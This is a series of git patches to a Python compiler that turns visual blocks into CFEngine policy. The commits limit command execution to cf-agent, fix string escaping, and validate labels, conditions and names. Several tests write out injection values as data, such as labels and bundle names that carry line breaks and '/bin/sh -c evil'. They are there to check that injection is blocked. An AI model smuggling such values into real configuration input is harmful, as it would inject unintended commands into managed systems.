definitions.get("value_sources", [])} labels = {p["name"]: p.get("label", p["name"]) for p in self.descriptor(block).get("parameters", [])} @@ -810,7 +837,8 @@ def computed_parameters(self, block: dict, bundle: str, prefix: str = "") -> tup [(_kind, value)] = source["steps"][0]["attributes"].items() decorators = [d for d in binding.get("decorators") or [] if d.get("decoratorId") in self.library.decorators] ctx = Context(self.vars_name, params, self.bodies) - computed[param] = self.chain(f"{prefix}{param}", bundle, source, value, decorators, ctx, [], []) + lines = self.chain(f"{prefix}{param}", bundle, source, value, decorators, ctx, [], []) + computed[param] = lines, chain_type(source, decorators, self.library) return computed, missing def template_data( @@ -999,8 +1027,13 @@ def variable_types(files: list[dict], library: Library) -> dict[str, str]: name = (entry.get("params") or {}).get(descriptor["entries"]["name_param"], "") if not source or not name or source["steps"][0]["promise_type"] != "vars": continue - kind = source.get("value_type", "string") - for instance in entry.get("decorators") or []: - kind = library.decorators.get(instance.get("decoratorId"), {}).get("output_type", kind) - types[f"{file['bundle']}_vars.{name}"] = kind + types[f"{file['bundle']}_vars.{name}"] = chain_type(source, entry.get("decorators") or [], library) return types + + +def chain_type(source: dict, decorators: list[dict], library: Library) -> str: + """The CFEngine type a value source produces through its decorators.""" + kind = source.get("value_type", "string") + for instance in decorators: + kind = library.decorators.get(instance.get("decoratorId"), {}).get("output_type", kind) + return kind diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index 8dfbaed..9a64f05 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -190,6 +190,31 @@ def test_a_template_computed_from_data_renders_inline(): assert "template_data" not in render +@pytest.mark.parametrize( + "source, rows", + [ + ("command-output", 'mergedata(string_split("$(set_settings)", "\\n", "100000"))'), + ("file-lines", 'mergedata("t.set_settings")'), + ], +) +def test_key_value_settings_computed_from_data_are_split_at_run_time(source: str, rows: str): + params = {"command": "/bin/cat /srv/sshd"} if source == "command-output" else {"path": "/srv/sshd"} + block = { + "instanceId": "s", + "blockId": "set-config-values", + "label": "Set", + "params": {"path": "/etc/ssh/sshd_config"}, + "paramBindings": {"settings": {"valueSourceId": source, "params": params}}, + } + meta = {"files": [{"id": "f", "name": "T", "bundle": "t", "path": "./t.cf", "blocks": [block]}]} + + policy = compile_project(meta)["./t.cf"] + + assert f"data => {rows};" in policy + assert '"set_settings__array[$(set_settings__kv_$(set_settings__i)[key])]"' in policy + assert '"t.set_settings__array",' in policy + + def test_template_copies_keep_clear_of_parameters_computed_from_data(): meta = _demo() block = next(b for b in _webserver(meta)["blocks"] if b["blockId"] == "render-template") diff --git a/python/tests/test_compiler_all_blocks.py b/python/tests/test_compiler_all_blocks.py index 622d5e3..65ce370 100644 --- a/python/tests/test_compiler_all_blocks.py +++ b/python/tests/test_compiler_all_blocks.py @@ -129,6 +129,9 @@ def _actions() -> list[dict]: by_id["report-message"]["paramBindings"] = { "message": {"valueSourceId": "file-content", "params": _params(sources["file-content"]["parameters"])} } + by_id["set-config-values"]["paramBindings"] = { + "settings": {"valueSourceId": "command-output", "params": _params(sources["command-output"]["parameters"])} + } return blocks @@ -153,6 +156,7 @@ def test_every_block_source_and_decorator_compiles_without_a_skip(): assert f"\n # {descriptor['name']}\n" in policy, block_id assert '"install_package_package_name"\n slist => string_split(' in policy assert '"report_message_message" string => readfile(' in policy + assert 'set_line_based(\n "all.set_config_values_settings__array",' in policy @pytest.mark.skipif(shutil.which("cf-promises") is None, reason="needs a local CFEngine 3.27+") From 51cd548da19ac02f23b8b4ed111d0e784115c1a7 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:45:19 +0300 Subject: [PATCH 117/141] compiler: Define Variable and Define Class run commands in cf-agent only Their entries live in a common bundle, which every component evaluates: one cf-promises run executed a command 4 times, and cf-serverd, cf-execd and cf-monitord ran it too. Entries calling execresult() or returnszero() are now guarded by the "agent" hard class. They stay in _vars, so references and global classes are unchanged; a bundle agent would have to be called before every file that reads them. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 3 ++ python/cfpb_compiler.py | 12 ++++++ python/tests/snapshots/decorators.cf | 46 +++++++++++++++-------- python/tests/snapshots/define-class.cf | 3 +- python/tests/snapshots/define-variable.cf | 3 +- python/tests/test_compiler.py | 22 +++++++++++ 6 files changed, 72 insertions(+), 17 deletions(-) diff --git a/blocks/README.md b/blocks/README.md index ff013d3..694a36f 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -209,6 +209,9 @@ join, … Each decorator's `expression` wraps the incoming value, which appears - Define Class entries live in the file's `bundle common _vars`, so they're global names: every file uses them as plain `name`, and class names must be unique across the project. +- Every component (cf-promises, cf-serverd, cf-execd…) evaluates common bundles, so an entry that + runs a command (`execresult()`, `returnszero()`, Define Variable's too) gets `if => "agent"`: it + runs in cf-agent only, and is unset elsewhere. - `and => { }` is *true*: a combine source needs at least one class (the compiler refuses an empty one). - A class named like a hard class (`linux`) is legal but still reads as the hard class — the editor diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index e4655ac..a4d0814 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -575,6 +575,9 @@ def entry_promises(self, block: dict, descriptor: dict, entry: dict) -> tuple[st for c in (block.get("condition"), entry.get("condition")) if c and c.get("className", "").strip() ] + # Every component (cf-promises, cf-serverd…) evaluates a common bundle: commands run in cf-agent only. + if runs_command(step): + conditions.insert(0, "agent") ctx = Context(self.vars_name, params, self.bodies, class_refs=entry.get("classRefs") or []) extra = [] if entry.get("inventory", {}).get("attributeName", "").strip(): @@ -906,6 +909,15 @@ def builder_body(self, name: str) -> str: return f"body {body['type']} {name}({', '.join(body['parameters'])})\n{{\n{attributes}\n}}" +COMMAND_FUNCTIONS = {"execresult", "execresult_as_data", "returnszero"} + + +def runs_command(expr) -> bool: + if isinstance(expr, dict): + return expr.get("call") in COMMAND_FUNCTIONS or any(runs_command(value) for value in expr.values()) + return isinstance(expr, list) and any(runs_command(item) for item in expr) + + def inline_computed_template(step: dict, computed: dict) -> dict: """A template file whose text is computed from data can't be written out: the step renders the variable instead, as an inline_mustache edit_template_string.""" diff --git a/python/tests/snapshots/decorators.cf b/python/tests/snapshots/decorators.cf index e9ceeaf..f72bc7a 100644 --- a/python/tests/snapshots/decorators.cf +++ b/python/tests/snapshots/decorators.cf @@ -2,18 +2,23 @@ # Case 0 # The stdout of "/bin/echo hello" # → fall back to "none" if unset or "x" - "via_0__in" string => execresult("/bin/echo hello", "noshell", "stdout"); + "via_0__in" + string => execresult("/bin/echo hello", "noshell", "stdout"), + if => "agent"; "via_0" string => "$(snap_vars.via_0__in)", if => and( - isvariable("snap_vars.via_0__in"), - not(strcmp("$(snap_vars.via_0__in)", "x")) + "agent", + and( + isvariable("snap_vars.via_0__in"), + not(strcmp("$(snap_vars.via_0__in)", "x")) + ) ); "via_0" string => "none", - if => not(isvariable("snap_vars.via_0")); + if => and("agent", not(isvariable("snap_vars.via_0"))); ### decorator filter # Case 1 @@ -35,7 +40,8 @@ "via_2" string => format( "%s", execresult("/bin/echo hello", "noshell", "stdout") - ); + ), + if => "agent"; ### decorator grep # Case 3 @@ -62,7 +68,8 @@ "via_5" string => lastnode( execresult("/bin/echo hello", "noshell", "stdout"), "/" - ); + ), + if => "agent"; ### decorator length # Case 6 @@ -96,7 +103,8 @@ "via_9" string => regex_replace( execresult("/bin/echo hello", "noshell", "stdout"), "h.*", "x", "x" - ); + ), + if => "agent"; ### decorator sort # Case 10 @@ -114,7 +122,8 @@ "via_11" slist => string_split( execresult("/bin/echo hello", "noshell", "stdout"), "\n", "1000" - ); + ), + if => "agent"; ### decorator string-downcase # Case 12 @@ -123,7 +132,8 @@ "via_12" string => string_downcase( execresult("/bin/echo hello", "noshell", "stdout") - ); + ), + if => "agent"; ### decorator string-head # Case 13 @@ -132,7 +142,8 @@ "via_13" string => string_head( execresult("/bin/echo hello", "noshell", "stdout"), "9" - ); + ), + if => "agent"; ### decorator string-replace # Case 14 @@ -141,7 +152,8 @@ "via_14" string => string_replace( execresult("/bin/echo hello", "noshell", "stdout"), "l", "x" - ); + ), + if => "agent"; ### decorator string-reverse # Case 15 @@ -150,7 +162,8 @@ "via_15" string => string_reverse( execresult("/bin/echo hello", "noshell", "stdout") - ); + ), + if => "agent"; ### decorator string-tail # Case 16 @@ -159,14 +172,16 @@ "via_16" string => string_tail( execresult("/bin/echo hello", "noshell", "stdout"), "9" - ); + ), + if => "agent"; ### decorator string-trim # Case 17 # The stdout of "/bin/echo hello" # → trim surrounding whitespace "via_17" - string => string_trim(execresult("/bin/echo hello", "noshell", "stdout")); + string => string_trim(execresult("/bin/echo hello", "noshell", "stdout")), + if => "agent"; ### decorator string-upcase # Case 18 @@ -175,7 +190,8 @@ "via_18" string => string_upcase( execresult("/bin/echo hello", "noshell", "stdout") - ); + ), + if => "agent"; ### decorator unique # Case 19 diff --git a/python/tests/snapshots/define-class.cf b/python/tests/snapshots/define-class.cf index 808a8c9..526cbbc 100644 --- a/python/tests/snapshots/define-class.cf +++ b/python/tests/snapshots/define-class.cf @@ -45,7 +45,8 @@ ### source check-command-succeeds # Case 11 "check_command_succeeds" - expression => returnszero("/bin/echo hello", "noshell"); + expression => returnszero("/bin/echo hello", "noshell"), + if => "agent"; ### source custom # Case 12 diff --git a/python/tests/snapshots/define-variable.cf b/python/tests/snapshots/define-variable.cf index 02a03d8..fe85f65 100644 --- a/python/tests/snapshots/define-variable.cf +++ b/python/tests/snapshots/define-variable.cf @@ -26,7 +26,8 @@ ### source command-output # Case 6 "command_output" - string => execresult("/bin/echo hello", "noshell", "stdout"); + string => execresult("/bin/echo hello", "noshell", "stdout"), + if => "agent"; ### source file-lines # Case 7 diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index 9a64f05..50682ce 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -350,6 +350,28 @@ def test_unless_negates_the_whole_expression(name: str, expected: str): assert f'if => "{expected}"' in users +def test_entries_that_run_commands_run_them_only_in_cf_agent(): + command = {"variable_name": "out", "command": "/bin/hostname"} + variable = {"id": "v", "valueSourceId": "command-output", "params": command} + variable["condition"] = {"kind": "class", "className": "linux", "mode": "if"} + check = { + "id": "c", + "valueSourceId": "check-command-succeeds", + "params": {"class_name": "ok", "command": "/bin/true"}, + } + blocks = [ + {"instanceId": "v", "blockId": "define-variable", "label": "V", "params": {}, "entries": [variable]}, + {"instanceId": "c", "blockId": "define-class", "label": "C", "params": {}, "entries": [check]}, + ] + meta = {"files": [{"id": "f", "name": "T", "bundle": "t", "path": "./t.cf", "blocks": blocks}]} + + policy = compile_project(meta)["./t.cf"] + + assert 'execresult("/bin/hostname", "noshell", "stdout"),\n if => "agent.linux";' in policy + assert 'expression => returnszero("/bin/true", "noshell"),\n if => "agent";' in policy + assert policy.count('"agent') == 2 + + def _custom_class(expression: str) -> dict: entry = {"id": "e", "valueSourceId": "custom", "params": {"class_name": "custom", "condition": expression}} block = {"instanceId": "c", "blockId": "define-class", "label": "Classes", "params": {}, "entries": [entry]} From 8d8cd62d790edeb0a60f71a8bdcb64961ac55f6c Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:47:27 +0300 Subject: [PATCH 118/141] compiler: Labels and conditions can no longer inject promises MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A line break in a block or group label ended its "# …" comment, so the rest was compiled as policy, and a file condition is written as a bare "name::" guard. Comments are now kept to one line, and a condition that isn't a class expression fails the compile. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_compiler.py | 22 +++++++++++++++------- python/tests/test_compiler.py | 21 +++++++++++++++++++++ 2 files changed, 36 insertions(+), 7 deletions(-) diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index a4d0814..dac49d5 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -108,6 +108,9 @@ def negated(expression: str) -> str: def class_expression(condition: dict) -> str: name = condition["className"].strip() + # A file's condition is a `name::` guard: anything else in it would be policy. + if not valid_class_expression(name): + raise CompileError(f"{name!r} isn't a valid class expression") return negated(name) if condition.get("mode") == "unless" else name @@ -362,6 +365,11 @@ def shown(match: re.Match) -> str: return PLACEHOLDER.sub(shown, pattern) +def one_line(text: str) -> str: + """Text for a `# …` comment: a line break would end it, and the rest would be policy.""" + return " ".join(text.split()) + + def canonical(name: str) -> str: return re.sub(r"\W", "_", name) @@ -543,7 +551,7 @@ def vars_bundle(self, blocks: list[dict]) -> str | None: for entry in block.get("entries") or []: kind, lines = self.entry_promises(block, descriptor, entry) if first[kind]: - label = block.get("label") or descriptor["name"] + label = one_line(block.get("label") or descriptor["name"]) lines = [f"# {label}", *lines] chunks[kind].append((block["instanceId"], label)) first[kind] = False @@ -589,7 +597,7 @@ def entry_promises(self, block: dict, descriptor: dict, entry: dict) -> tuple[st try: attributes = attributes_of(step, ctx) except Skip as skip: - return kind, [f"# Skipped {name}: {skip}."] + return kind, [f"# Skipped {one_line(name)}: {skip}."] return kind, promise( quote(ctx.substitute(step["promiser"])), [*attributes, *condition_attributes(conditions)] ) @@ -695,7 +703,7 @@ def scoped_edges(self, ids: set[str]) -> list[dict]: def block_lines(self, block: dict, names: dict[str, str], edges: list[dict], owner: str, guarded: list[str]): name = names[block["instanceId"]] - label = block.get("label") or self.descriptor(block)["name"] + label = one_line(block.get("label") or self.descriptor(block)["name"]) # Locals are prefixed with the block's own name: blocks share a bundle. parts = self.block_parts(block, name, prefix=f"{name[len(self.bundle) + 1:]}_", owner=owner) if isinstance(parts, str): @@ -727,8 +735,8 @@ def entry_bundle(self, blocks: list[dict], names: dict[str, str], groups: dict[s quote(group.get("name") or "group"), [f"usebundle => {names[group['id']]}", *self.gating(node, names, edges)], ) - self.chunks.append((group["id"], f"Group: {group.get('name') or 'group'}")) - body += [f" # Group: {group.get('name') or 'group'}", " methods:", *guarded] + self.chunks.append((group["id"], f"Group: {one_line(group.get('name') or 'group')}")) + body += [f" # Group: {one_line(group.get('name') or 'group')}", " methods:", *guarded] body += [*[f" {line}" for line in lines], ""] return f"bundle agent {self.bundle}\n{{\n" + "\n".join(body).rstrip() + "\n}" @@ -737,7 +745,7 @@ def group_bundle(self, group: dict, blocks: list[dict], names: dict[str, str]) - name = names[group["id"]] members = [b for b in blocks if b.get("groupId") == group["id"]] edges = self.scoped_edges({b["instanceId"] for b in members}) - comment = f'# Group "{group.get("name") or "group"}", run as one step of {self.bundle}.' + comment = f'# Group "{one_line(group.get("name") or "group")}", run as one step of {self.bundle}.' self.chunks.append((group["id"], comment[2:])) body = [line for block in members for line in self.block_lines(block, names, edges, name, [])] return f"{comment}\nbundle agent {name}\n{{\n" + "\n".join(body).rstrip() + "\n}" @@ -765,7 +773,7 @@ def block_parts( descriptor = self.descriptor(block) declared = descriptor.get("parameters", []) params = params_with_defaults(declared, block.get("params") or {}) - label = block.get("label") or descriptor["name"] + label = one_line(block.get("label") or descriptor["name"]) bound = set(block.get("paramBindings") or {}) computed, missing_data = self.computed_parameters(block, owner, prefix) missing = [*missing_required([p for p in declared if p["name"] not in bound], params), *missing_data] diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index 50682ce..53ec311 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -339,6 +339,27 @@ def test_the_file_condition_guards_every_promise(): assert " reports:\n linux::\n" in policy +def test_line_breaks_in_labels_stay_inside_their_comments(): + meta = _demo() + injected = 'Users\n commands:\n "/bin/sh -c evil";' + next(b for b in _webserver(meta)["blocks"] if b["blockId"] == "manage-users")["label"] = injected + meta["files"][0]["blocks"][0]["label"] = injected + + files = compile_project(meta) + + for policy in (files[COMMON], files[WEBSERVER]): + assert ' # Users commands: "/bin/sh -c evil";\n' in policy + assert "commands:\n" not in policy + + +def test_a_condition_that_isnt_a_class_expression_fails_the_compile(): + meta = _demo() + _webserver(meta)["condition"] = {"kind": "class", "className": 'any::\n"/bin/sh" usebundle => evil', "mode": "if"} + + with pytest.raises(CompileError, match="isn't a valid class expression"): + compile_project(meta) + + @pytest.mark.parametrize("name, expected", [("linux", "!linux"), ("linux|darwin", "!(linux|darwin)")]) def test_unless_negates_the_whole_expression(name: str, expected: str): meta = _demo() From d8e1e48c1b85c7ac37713c18dad225e83f2798a2 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:49:47 +0300 Subject: [PATCH 119/141] compiler: A backslash before a single quote is kept in CFEngine strings CFEngine reads \' as an escape in double-quoted strings too, so it\'s came out as it's. quote() now doubles a backslash before either quote. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 7 ++++--- python/cfpb_compiler.py | 6 +++--- python/tests/test_compiler.py | 2 ++ 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/blocks/README.md b/blocks/README.md index 694a36f..cb11589 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -152,9 +152,10 @@ Every promiser and attribute value is an **expression**: | `{"if_set": "param", "value": ...}` | The attribute, or nothing when the parameter is empty (`report_to_file => ""` is a hard error) | | `{"template_file": "param"}` | The parameter's text as its own file, `./templates/.mustache`, used as written (no escaping, no `$(…)` expansion); compiles to its path relative to the policy file, `"$(this.promise_dirname)/templates/…"` (`../` per folder the file is nested in) | -**Escaping.** CFEngine strings have exactly two escapes, `\\` and `\"`: every other backslash stays -literal, so regexes like `\d+` need no special handling, and a real newline can sit inside a string. -So only `"` and a backslash before a backslash, a quote or the string's end are escaped (`\d+` stays +**Escaping.** CFEngine strings have exactly three escapes, `\\`, `\"` and `\'` (in both kinds of +quotes): every other backslash stays literal, so regexes like `\d+` need no special handling, and a +real newline can sit inside a string. So only `"` and a backslash before a backslash, either quote +or the string's end are escaped (`\d+` stays `"\d+"`, `C:\` becomes `"C:\\"`) and nothing else. `$(…)` is left alone on purpose — it's how a value references a variable — so a literal `$(` is written `$(const.dollar)(`. A promiser is always a template; the compiler quotes it. diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index dac49d5..77d6498 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -72,9 +72,9 @@ def load(cls, directory: Path | None = None) -> Library: def quote(text: str) -> str: - """A CFEngine string. Only \\\\ and \\" are escapes, so a backslash needs - doubling only before a backslash, a quote, or the closing quote.""" - return '"' + re.sub(r'\\(?=[\\"]|$)', r"\\\\", text).replace('"', '\\"') + '"' + """A CFEngine string. Only \\\\, \\" and \\' are escapes, so a backslash needs + doubling only before a backslash, either quote, or the closing quote.""" + return '"' + re.sub(r"\\(?=[\\\"']|$)", r"\\\\", text).replace('"', '\\"') + '"' # `key value` or `key=value` (or a bare key); keys hold no spaces, `=` or brackets. diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index 53ec311..fad5a21 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -438,6 +438,8 @@ def test_unknown_block_types_fail_the_compile(): ("C:\\", r'"C:\\"'), # Checked with cf-agent: reads back as a\\b. (r"a\\b", r'"a\\\b"'), + # \' is an escape too: reads back as it\'s. + (r"it\'s", r'''"it\\'s"'''), ], ) def test_strings_escape_only_what_cfengine_would_misread(text: str, expected: str): From b1523f53e1a30c1b245e0cbc8853f37c322ea17e Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:50:46 +0300 Subject: [PATCH 120/141] compiler: Literal lists in a chain keep backslashes and single quotes A literal list passed to a decorator is inline JSON in a single-quoted string. Its items were decoded as JSON, which fails on a regex like \d+, and it's ended the string early. They're now decoded as CFEngine strings and the JSON is escaped for the single-quoted string. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_compiler.py | 10 ++++++++-- python/tests/test_compiler.py | 13 +++++++++++++ 2 files changed, 21 insertions(+), 2 deletions(-) diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index 77d6498..13c399e 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -308,8 +308,14 @@ def computed_array(param: str, ctx: Context) -> str: def list_value(items: list[str], ctx: Context) -> str: if not ctx.as_argument: return "{ " + ", ".join(items) + " }" - # A literal list as a function argument goes in as inline JSON. - return "'" + json.dumps([json.loads(item) if item.startswith('"') else item for item in items]) + "'" + # A literal list as a function argument goes in as inline JSON, in a single-quoted string. + text = json.dumps([unquote(item) if item.startswith('"') else item for item in items], ensure_ascii=False) + return "'" + re.sub(r"\\(?=[\\\"']|$)", r"\\\\", text).replace("'", "\\'") + "'" + + +def unquote(string: str) -> str: + """quote()'s inverse: the text of a CFEngine string.""" + return re.sub(r"\\([\\\"'])", r"\1", string[1:-1]) def attributes_of(step: dict, ctx: Context) -> list[str]: diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index fad5a21..254aec0 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -269,6 +269,19 @@ def test_a_parameter_computed_from_data_is_a_local_variable_named_after_its_bloc assert '"$(install_web_server_package_package_name)"' in install +def test_a_literal_list_in_a_chain_is_inline_json_that_reads_back_as_written(): + items = ["it's", "C:\\", "\\d+", 'say "hi"'] + entry = {"id": "l", "valueSourceId": "list", "params": {"variable_name": "l", "items": "\n".join(items)}} + entry["decorators"] = [{"id": "d", "decoratorId": "sort", "params": {}}] + block = {"instanceId": "v", "blockId": "define-variable", "label": "V", "params": {}, "entries": [entry]} + meta = {"files": [{"id": "f", "name": "T", "bundle": "t", "path": "./t.cf", "blocks": [block]}]} + + policy = compile_project(meta)["./t.cf"] + + # Checked with cf-agent: sorts to C:\, \d+, it's, say "hi". + assert r"""'["it\'s", "C:\\\\", "\\\d+", "say \\"hi\\""]'""" in policy + + def test_a_list_parameter_iterates_only_with_several_values(): policy = compile_project(DEMO)[WEBSERVER] From a8000e6a55bb35b73c50ccfc6320c0ba294ad922 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:52:52 +0300 Subject: [PATCH 121/141] compiler: Names are checked before they're written into policy Bundle, variable and class names come from project.json unchecked, and some are written unquoted: a bundle name holding a line break could add a bundle of its own. A parameter is now held to its allowed_chars, as the editor does, and a variable reference to a variable name; a block or entry that fails is skipped with a note. A file bundle that isn't a name fails the compile. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- blocks/README.md | 4 +++- python/cfpb_compiler.py | 45 ++++++++++++++++++++++++++++------- python/tests/test_compiler.py | 35 +++++++++++++++++++++++++++ 3 files changed, 75 insertions(+), 9 deletions(-) diff --git a/blocks/README.md b/blocks/README.md index cb11589..912b4a9 100644 --- a/blocks/README.md +++ b/blocks/README.md @@ -162,7 +162,9 @@ left alone on purpose — it's how a value references a variable — so a litera **Parameters.** Values are stored as strings. `required` means non-empty. Numbers go into function calls quoted (`"-2"` parses, a bare `-2` doesn't); `integer`/`minimum` are enforced in the editor. -`path: "absolute"` too — CFEngine rejects relative paths, `readfile()` and friends fatally. Options +`path: "absolute"` too — CFEngine rejects relative paths, `readfile()` and friends fatally. +`allowed_chars` is enforced by both: the compiler skips a block (or entry) whose value holds +anything else, since names (bundles, variables, classes) can be written unquoted. Options are either plain strings or `{value, label, help}`. An `allow_list` parameter (one value per line) used in a promiser makes the promise iterate: the compiler emits `vars: "" slist => { … };` and the promiser becomes `"$()"`. diff --git a/python/cfpb_compiler.py b/python/cfpb_compiler.py index 13c399e..ee8f654 100644 --- a/python/cfpb_compiler.py +++ b/python/cfpb_compiler.py @@ -243,6 +243,8 @@ def compile_value(expr, ctx: Context) -> str: return f"{name}({', '.join(compile_value(arg, ctx) for arg in args)})" if args else name if "variable" in expr: name = ctx.qualified(ctx.substitute(expr["variable"])) + if not re.fullmatch(r"[\w.:\[\]]+", name, re.ASCII): + raise Skip(f"{name!r} isn't a variable name") if expr["as"] == "scalar": return quote(f"$({name})") if expr["as"] == "list" and not ctx.as_argument: @@ -350,6 +352,20 @@ def params_with_defaults(declared: list[dict], given: dict) -> dict[str, str]: return params +def invalid_values(declared: list[dict], params: dict[str, str]) -> list[str]: + """Parameters holding characters their allowed_chars rule out (names: bundles, variables, classes…).""" + return [ + param.get("label", param["name"]) + for param in declared + if param.get("allowed_chars") and not re.fullmatch(f"[{param['allowed_chars']}]*", params[param["name"]]) + ] + + +def entry_source(descriptor: dict, entry: dict) -> dict: + sources = {s["id"]: s for s in descriptor.get("value_sources", [])} + return sources.get(entry.get("valueSourceId")) or next(iter(sources.values())) + + def missing_required(declared: list[dict], params: dict[str, str]) -> list[str]: return [ param.get("label", param["name"]) @@ -573,8 +589,14 @@ def vars_bundle(self, blocks: list[dict]) -> str | None: return f"bundle common {self.vars_name}\n{{\n" + "\n".join(body) + "\n}" def entry_promises(self, block: dict, descriptor: dict, entry: dict) -> tuple[str, list[str]]: - sources = {s["id"]: s for s in descriptor.get("value_sources", [])} - source = sources.get(entry.get("valueSourceId")) or next(iter(sources.values())) + try: + return self.entry_lines(block, descriptor, entry) + except Skip as skip: + name = (entry.get("params") or {}).get(descriptor["entries"]["name_param"], "") + return entry_source(descriptor, entry)["steps"][0]["promise_type"], [f"# Skipped {one_line(name)}: {skip}."] + + def entry_lines(self, block: dict, descriptor: dict, entry: dict) -> tuple[str, list[str]]: + source = entry_source(descriptor, entry) declared = [*descriptor.get("parameters", []), *source.get("parameters", [])] params = params_with_defaults(declared, entry.get("params") or {}) step = source["steps"][0] @@ -583,6 +605,9 @@ def entry_promises(self, block: dict, descriptor: dict, entry: dict) -> tuple[st missing = missing_required(declared, params) if missing: return kind, [f"# Skipped: {', '.join(missing)} not set."] + invalid = invalid_values(declared, params) + if invalid: + raise Skip(f"{', '.join(invalid)} not valid") conditions = [ class_expression(c) @@ -600,12 +625,8 @@ def entry_promises(self, block: dict, descriptor: dict, entry: dict) -> tuple[st ) if kind != "vars": - try: - attributes = attributes_of(step, ctx) - except Skip as skip: - return kind, [f"# Skipped {one_line(name)}: {skip}."] return kind, promise( - quote(ctx.substitute(step["promiser"])), [*attributes, *condition_attributes(conditions)] + quote(ctx.substitute(step["promiser"])), [*attributes_of(step, ctx), *condition_attributes(conditions)] ) [(value_type, value)] = step["attributes"].items() @@ -711,7 +732,10 @@ def block_lines(self, block: dict, names: dict[str, str], edges: list[dict], own name = names[block["instanceId"]] label = one_line(block.get("label") or self.descriptor(block)["name"]) # Locals are prefixed with the block's own name: blocks share a bundle. - parts = self.block_parts(block, name, prefix=f"{name[len(self.bundle) + 1:]}_", owner=owner) + try: + parts = self.block_parts(block, name, prefix=f"{name[len(self.bundle) + 1:]}_", owner=owner) + except Skip as skip: + parts = f'Skipped "{label}": {skip}.' if isinstance(parts, str): self.chunks.append((block["instanceId"], parts)) return [f" # {parts}", ""] @@ -785,6 +809,9 @@ def block_parts( missing = [*missing_required([p for p in declared if p["name"] not in bound], params), *missing_data] if missing: return f"Skipped \"{label}\": {', '.join(missing)} not set." + invalid = invalid_values([p for p in declared if p["name"] not in bound], params) + if invalid: + return f"Skipped \"{label}\": {', '.join(invalid)} not valid." # A parameter computed from data reads the local variable holding it (a list iterates). params.update({param: f"$({prefix}{param})" for param in computed}) steps = descriptor.get("steps", []) @@ -1008,6 +1035,8 @@ def compile_files( or not isinstance(file.get("bundle"), str) ): raise CompileError("Every file needs a path and a bundle") + if not re.fullmatch(r"[A-Za-z_]\w*", file["bundle"], re.ASCII): + raise CompileError(f"{file['bundle']!r} isn't a valid bundle name") types = variable_types(files, library) # Everything shares the default namespace: masterfiles' bundles and every file's own two. taken = set(library.reserved_bundles) | { diff --git a/python/tests/test_compiler.py b/python/tests/test_compiler.py index 254aec0..3a64e3d 100644 --- a/python/tests/test_compiler.py +++ b/python/tests/test_compiler.py @@ -365,6 +365,41 @@ def test_line_breaks_in_labels_stay_inside_their_comments(): assert "commands:\n" not in policy +def test_names_with_characters_they_cant_hold_are_skipped_with_a_note(): + call = {"label": "Run", "bundle_name": "x;\nbundle agent evil"} + variable = {"variable_name": "a b", "value": "1"} + reference = {"variable_name": "copy", "from_variable": "vars.x) }; evil"} + blocks = [ + {"instanceId": "m", "blockId": "call-method", "label": "Call", "params": call}, + { + "instanceId": "v", + "blockId": "define-variable", + "label": "V", + "params": {}, + "entries": [ + {"id": "1", "valueSourceId": "literal", "params": variable}, + {"id": "2", "valueSourceId": "list-variable", "params": reference}, + ], + }, + ] + meta = {"files": [{"id": "f", "name": "T", "bundle": "t", "path": "./t.cf", "blocks": blocks}]} + + policy = compile_project(meta)["./t.cf"] + + assert '# Skipped "Call": Bundle name not valid.' in policy + assert "# Skipped a b: Variable name not valid." in policy + assert "# Skipped copy: 't_vars.x) }; evil' isn't a variable name." in policy + assert "evil" not in policy.replace("# Skipped copy: 't_vars.x) }; evil'", "") + + +def test_a_file_bundle_that_isnt_a_name_fails_the_compile(): + meta = _demo() + _webserver(meta)["bundle"] = "webserver {}\nbundle agent evil" + + with pytest.raises(CompileError, match="isn't a valid bundle name"): + compile_project(meta) + + def test_a_condition_that_isnt_a_class_expression_fails_the_compile(): meta = _demo() _webserver(meta)["condition"] = {"kind": "class", "className": 'any::\n"/bin/sh" usebundle => evil', "mode": "if"} From 9f3cd034e5e8291a164105994029cd7ea4cb8052 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 17:56:29 +0300 Subject: [PATCH 122/141] evaluateDecorator: An emptied parameter is read as its default, as compiled The compiler reads an empty parameter as unset and uses 